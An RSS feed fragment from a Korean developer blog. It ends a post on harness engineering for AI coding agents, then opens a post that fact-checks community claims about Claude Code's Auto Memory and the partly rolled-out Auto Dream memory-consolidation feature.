&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md / CLAUDE.md를 &quot;목차&quot;로 재구성한다. 100줄 이내로.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Slack/Notion에 있는 핵심 설계 결정을 리포지토리 &lt;code&gt;docs/&lt;/code&gt;로 옮긴다. 에이전트가 볼 수 있게.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2주 안에&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;가장 중요한 아키텍처 불변량 1~2개를 린터로 강제한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;한 달 후&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 리뷰에 독립 평가 에이전트를 도입하고, 주기적 &quot;가비지 컬렉션&quot; 프로세스를 만든다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 Prithvi Rajasekaran이 쓴 문장으로 마무리한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. &lt;b&gt;이동할 뿐이다.&lt;/b&gt; AI 엔지니어의 일은 다음의 새로운 조합을 계속 찾는 것이다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OpenAI: &lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Engineering: Leveraging Codex in an Agent-First World&lt;/a&gt; (2026-02-11)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Design for Long-Running Application Development&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic (선행 연구): &lt;a href=&quot;https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Effective Harnesses for Long-Running Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/research/building-effective-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Building Effective Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Effective Context Engineering for AI Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OpenAI (선행 연구): &lt;a href=&quot;https://openai.com/index/unlocking-the-codex-harness/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Unlocking the Codex Harness&lt;/a&gt; (2026-02-04)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Ralph Wiggum Loop: &lt;a href=&quot;https://ghuntley.com/loop/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ghuntley.com/loop&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/하네스 엔지니어링(harness engineering)</category>
      <category>AGENTS.md 설계</category>
      <category>AI 에이전트 하네스</category>
      <category>Anthropic 하네스 디자인</category>
      <category>Claude Code 에이전트</category>
      <category>OpenAI 코딩 에이전트</category>
      <category>멀티 에이전트 오케스트레이션</category>
      <category>에이전트 코딩 도구</category>
      <category>컨텍스트 엔지니어링</category>
      <category>하네스 설계 원칙</category>
      <category>하네스 엔지니어링</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/565</guid>
      <comments>https://goddaehee.tistory.com/565#entry565comment</comments>
      <pubDate>Thu, 26 Mar 2026 23:12:55 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code Auto Memory vs Auto Dream 정리 : AI가 잠자면서 기억을 정리한다? Auto Dream 기능의 진실</title>
      <link>https://goddaehee.tistory.com/564</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&quot;Claude Code Memory 2.0&quot;이라는 표현이 돌고 있다. &quot;Auto Dream&quot;이라는 기능이 나왔고, AI가 잠자면서 기억을 정리한다는 것이다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXyQm5%2FdJMcadH9yfr%2FyvY3SQ1UGtjK7odzwX2dh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;결론부터 말하면: &quot;Memory 2.0&quot;은 공식 용어가 아니고, Auto Dream은 공식 문서에 없다. 하지만 코드 안에는 실제로 존재한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code의 &lt;code&gt;/memory&lt;/code&gt; 메뉴에 &quot;Auto-dream: off&quot;라는 토글이 표시된다. 내부 시스템 프롬프트에 &lt;i&gt;&quot;You are performing a dream &amp;mdash; a reflective pass over your memory files&quot;&lt;/i&gt;라는 문구가 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB09tk%2FdJMcacJjoru%2Fz4oEnvG0GneQRwQA6CHnS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;520&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;일부 사용자에게는 이미 활성화되어 &quot;last ran 1d ago&quot;라고 표시된다 (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 커뮤니티 리포트 기준, 공식 문서 미기재).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;하지만 자동 실행이 활성화된 사용자를 포함해 모든 사용자에서 &lt;code&gt;/dream&lt;/code&gt; 수동 명령어는 &quot;Unknown skill&quot;을 반환한다 &amp;mdash; 자동 실행과 수동 명령어는 별개로 구현되어 있다 (v2.1.88까지, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-31 확인).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 공식 문서와 소스 코드 분석을 기반으로, 현재 실제로 사용할 수 있는 메모리 기능과 아직 사용할 수 없는 Auto Dream을 정확히 구분한다. 그리고 Auto Dream이 없어도 메모리를 효과적으로 관리하는 실전 방법을 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팩트체크: &quot;Memory 2.0&quot; 소문 vs 실체
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 이런 혼동이 생겼는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Memory &amp;mdash; 지금 사용할 수 있는 기능
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작동 원리&lt;/li&gt;
&lt;li&gt;저장 구조와 200줄 제한&lt;/li&gt;
&lt;li&gt;뭘 기억하고, 뭘 안 기억하는가&lt;/li&gt;
&lt;li&gt;설정 및 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Context Compaction: 컨텍스트 압축
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 압축 동작&lt;/li&gt;
&lt;li&gt;수동 제어&lt;/li&gt;
&lt;li&gt;CLAUDE.md와의 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Dream &amp;mdash; 코드에는 있지만 아직 잠겨 있다
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UI에 보이는 것&lt;/li&gt;
&lt;li&gt;소스 코드가 말해주는 것&lt;/li&gt;
&lt;li&gt;설계 의도: &quot;쓰고 잊기&quot; 문제의 해결&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 튜토리얼: Auto Dream 없이 메모리 관리하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 시나리오&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md vs Auto Memory vs Auto Dream 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;이론적 배경: Sleep-time Compute&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응: 기대와 우려&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 언제 쓸 수 있을까&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;글을 쓴지 몇일이 지난 현재 상태 (2026-03-31 기준, v2.1.88)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(255,255,255,0.5);&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 14.2331%;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 22.3313%;&quot;&gt;상태&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 63.3129%;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;Auto Memory&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt; (v2.1.59+)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;Auto Dream&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;자동 실행: 일부 활성화 &amp;middot; 수동 /dream: 전체 미작동&lt;/b&gt; (v2.1.84, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;&quot;Memory 2.0&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;비공식 용어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;공식 문서/체인지로그에 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt; 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;모든 사용자에서 &quot;unknown skill&quot;&lt;/b&gt; (v2.1.88까지 미구현, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;Auto-dream: on &amp;middot; /dream to run&quot; 안내되나, 실행 시 &quot;unknown skill&quot; &amp;mdash; 자동 실행과 수동 명령어는 별개 구현. 비공식 우회: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; 플러그인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 팩트체크: &quot;Memory 2.0&quot; 소문 vs 실체&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;X(트위터)와 한국 커뮤니티에서 퍼지고 있는 주장들을 공식 문서와 대조한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;커뮤니티 주장&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;판정&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0이 나왔다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;&lt;b&gt;과장&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0&quot;은 공식 문서, 체인지로그(v2.1.88까지), 블로그 어디에도 없다. 커뮤니티가 만든 마케팅 용어.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Auto Dream이라는 새 기능이 있다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;맞지만 미완성&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt; UI에 &quot;Auto-dream&quot; 토글이 존재하고, 내부 시스템 프롬프트에 4단계 정리 프로세스가 구현되어 있다. 일부 사용자에게는 활성화됨(GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;). 하지만 &lt;code&gt;/dream&lt;/code&gt; 명령어가 동작하지 않는 등 버그가 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;/memory&lt;/code&gt;에서 autodream on으로 바꾸면 된다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;사람마다 다름&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;서버 사이드 플래그(&lt;code&gt;tengu_onyx_plover&lt;/code&gt;)로 제어된다. 일부 사용자에게는 토글이 활성화되어 있고(GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 댓글에서 &quot;Auto-dream: on &amp;middot; last ran 1d ago&quot; 확인), 다른 사용자에게는 토글이 잠겨 있다. 점진적 롤아웃 중인 것으로 보인다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;/dream&lt;/code&gt; 명령어로 실행한다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;&lt;b&gt;틀림&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt;은 Claude Code의 빌트인 커맨드가 아니다. 실행하면 &quot;unknown skill&quot;이 표시된다. Auto Dream 자동 실행이 이미 켜진 사용자조차 동일하다 (v2.1.84, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-26).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;'run your autodream'이라고 하면 dreaming이 뜬다&quot; / &quot;/tasks에 dreaming으로 뜬다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;구분 필요&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;두 가지 다른 상황을 구분해야 한다.&lt;/b&gt;&lt;br /&gt;① &quot;run your autodream&quot; 자연어 요청 &amp;rarr; Claude가 메모리 파일을 직접 편집하는 것. &lt;b&gt;Auto Dream 기능이 아니라&lt;/b&gt; 일반 파일 편집 작업이다.&lt;br /&gt;② Auto Dream이 서버 플래그로 활성화된 사용자에게는, 실제 Auto Dream 백그라운드 에이전트가 실행될 때 &lt;code&gt;/tasks&lt;/code&gt;에 별도 task로 표시된다. 이것은 ①과 달리 &lt;b&gt;실제 Auto Dream&lt;/b&gt;이다. (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;, [ESTIMATE])&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;AI가 잠자면서 기억을 정리한다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;비유로서 맞음&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Dream의 설계 의도가 정확히 이것이다. 다만 아직 동작하지 않는다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심: &quot;run your autodream&quot; &amp;ne; Auto Dream 기능 (그러나 /tasks의 &quot;dreaming&quot;은 다르다)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude에게 &quot;메모리를 정리해줘&quot;라고 &lt;b&gt;자연어로 요청&lt;/b&gt;하면, Claude는 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일들을 읽고 수정한다. 이것은 Auto Dream 기능이 아니라, Claude가 평소에도 할 수 있는 &lt;b&gt;일반적인 파일 편집 작업&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;단, &lt;b&gt;Auto Dream이 실제로 활성화된 사용자&lt;/b&gt;에게는 구분이 필요하다. 실제 Auto Dream 백그라운드 에이전트가 실행될 때는 &lt;code&gt;/tasks&lt;/code&gt;에 별도 작업(task)으로 표시된다 &amp;mdash; 이것은 일반적인 &quot;Reading memory&quot; 또는 &quot;Writing memory&quot; 표시와는 다른, Auto Dream 에이전트가 독립적으로 실행 중임을 나타낸다. (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 커뮤니티 보고, [ESTIMATE])&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;요약: &quot;메모리 정리해줘&quot; 자연어 요청 = Claude 수동 편집 &amp;ne; Auto Dream / &lt;code&gt;/tasks&lt;/code&gt;의 dreaming 백그라운드 태스크 = 실제 Auto Dream (활성화 사용자만)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 이런 혼동이 생겼는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 셋째 주, 여러 일이 동시에 일어났다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Reddit&lt;/b&gt;에서 최초 발견 &amp;mdash; 누군가가 &lt;code&gt;/memory&lt;/code&gt; 메뉴에서 &quot;Auto-dream: off&quot; 토글을 발견하고 공유했다.&lt;/li&gt;
